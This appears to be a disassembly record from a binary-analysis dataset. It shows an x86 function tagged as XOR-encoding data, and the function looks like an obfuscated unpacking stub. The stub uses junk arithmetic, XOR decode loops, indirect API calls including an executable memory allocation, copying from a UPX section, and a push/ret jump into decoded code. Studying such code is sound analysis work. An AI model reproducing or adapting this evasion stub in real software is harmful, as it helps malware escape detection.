Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x764286a8
or ebx, ebx
and ebx, ebx
not ebx
popal
inc ebx
add eax, 0x1beece94
sub ebx, eax
mov esi, 0
mov ecx, ebx
sub edx, 0x1bd161a2
sub eax, 0xd5ae488c
mov edi, ecx
add eax, 0xce16eaa2
mov edx, 0x9b3cf205
add edx, edx
mov ebx, edi
add eax, 1
add eax, edx
add eax, eax
inc esi
sub eax, 0xc6b73653
mov edx, eax
cmp esi, 0x1007718
jne 0x47b44f
add eax, eax
or edx, edx
dec ebx
sub ebx, 0xe420b933
dec ebx
mov esi, 0x47b21e
or edx, ecx
sub edi, 0xc4dc400d
mov ebx, 0x47b412
and ecx, edx
add edx, edi
sub ecx, 0x22ae48c
mov eax, dword [esi]
sub edi, 0x81b580b3
and edi, edi
and eax, 0xff
add edi, ecx
mov edx, 0x35cc5550
and edx, edx
xor dword [ebx], eax
sub ecx, edx
add ecx, ecx
inc ebx
and edi, edx
sub edi, 0x88e49297
inc esi
mov edx, edi
mov edi, 0x802d4ec7
or ecx, ecx
cmp ebx, entry0
jl 0x47b4b5
dec ecx
sub ecx, edi
sub ecx, 1
and ecx, ecx
sub edi, 0x6d280bb3
add edx, 0x9b2cebff
sub edi, 0xc9058fae
mov ebx, 0x57aa7897
inc esi
mov ecx, 0x47b416
not esi
sub esi, 1
mov ebx, edi
mov ecx, dword [ecx]
sub edx, 0x272134b8
mov ebx, esi
dec edi
mov ecx, dword [ecx]
sub edi, 1
mov edi, 0x5c6b5209
not esi
push ecx
sub edi, 0xafe95427
mov edi, esi
mov ecx, 0x47b412
and ebx, edx
sub edx, 0x6cbf5067
add ebx, 0xd28accd3
mov ecx, dword [ecx]
mov edi, esi
not edx
mov ecx, dword [ecx]
not edx
sub ebx, 0xc5e2ddff
add edi, 0x13db2b90
push 0x47b41a
and edi, edx
add ebx, edx
add edi, edx
call ecx
sub edi, 0x2657cd42
mov edi, 0xfbe8b2f1
sub ebx, esi
mov ecx, dword [esp]
add esp, 4
and ebx, edi
or edi, ebx
and edx, ebx
sub esp, 4
mov dword [esp], 0x47b427
not edx
mov esi, edx
push eax
and ebx, edi
sub edx, 0xadd54ba9
call ecx
and esi, ebx
sub esi, 0x1cf07a53
push 0x40
inc edi
or edx, edx
sub esp, 4
mov dword [esp], 0x3000
mov edx, ebx
and esi, edx
push 0x20000689
and edx, ebx
sub edx, esi
dec edi
sub esp, 4
mov dword [esp], 0
add edi, ebx
add esi, 1
or esi, edi
call eax
sub esi, edx
or ebx, esi
or ebx, esi
add eax, 0x200005cf
or esi, edi
add edi, 0xe033a3df
mov ecx, 0xe8e92264
and edi, ebx
mov edx, edi
mov dword [eax], ecx
inc edi
and esi, ebx
mov esi, edx
mov ecx, dword [eax]
sub edx, ebx
and ebx, esi
cmp ecx, 0xe8e92264
je 0x47b627
mov ebx, 0
mov byte [ebx], cl
mov esi, edi
dec ebx
dec esi
and esi, esi
mov edi, edx
sub eax, 0xe62542eb
not eax
not ebx
mov edx, section.UPX1
and ebx, eax
and eax, eax
mov eax, ebx
mov edi, 0x47b21d
mov eax, 0xfc9d9181
inc ebx
sub eax, 0x10b889bc
mov ecx, 0
mov ebx, eax
add ebx, 0x2a8aed12
mov esi, 0x47b21e
mov ebx, 0xb62ed976
add eax, 1
lea esi, [esi + ecx]
mov eax, ebx
mov ebx, 0x1b178a9a
add ebx, ebx
mov esi, dword [esi]
not ebx
mov eax, ebx
and eax, ebx
and esi, 0xff
add eax, 1
or ebx, ebx
inc ecx
add ebx, 0xda3e0f10
sub ebx, 0x2f865cc
cmp ecx, 0x1f4
jne 0x47b6ae
mov ecx, 0
or eax, ebx
mov ebx, eax
add eax, 1
or ebx, eax
xor dword [edx], esi
sub ebx, 0xdabccdec
mov eax, ebx
add eax, eax
add edx, 2
add eax, ebx
add ebx, ebx
cmp edx, edi
jl 0x47b662
mov eax, ebx
mov ebx, 0x19a43c9d
and ebx, ebx
add eax, 0x751b6fbe
add eax, 0x5af7d3cc
mov edi, section.UPX1
and ebx, ebx
or ebx, eax
mov ecx, section.UPX1
or eax, ebx
sub ebx, 0x1945db50
sub eax, 0x8b36a11f
mov esi, 0x47b21d
or eax, eax
add eax, ebx
mov edx, 0
inc ebx
and eax, eax
mov dl, byte [ecx]
or ebx, eax
dec ebx
mov byte [edi], dl
or eax, eax
add ebx, ebx
add edi, 1
sub eax, 0x6623788
not eax
add ecx, 2
sub ebx, 0xd9fecd7b
add eax, 0x5adf8bc4
cmp ecx, esi
jle 0x47b71a
add ebx, eax
add eax, 0xfa399683
add ebx, ebx
mov eax, 0xd9857d85
push 0x45e6a0
inc eax
and eax, eax
ret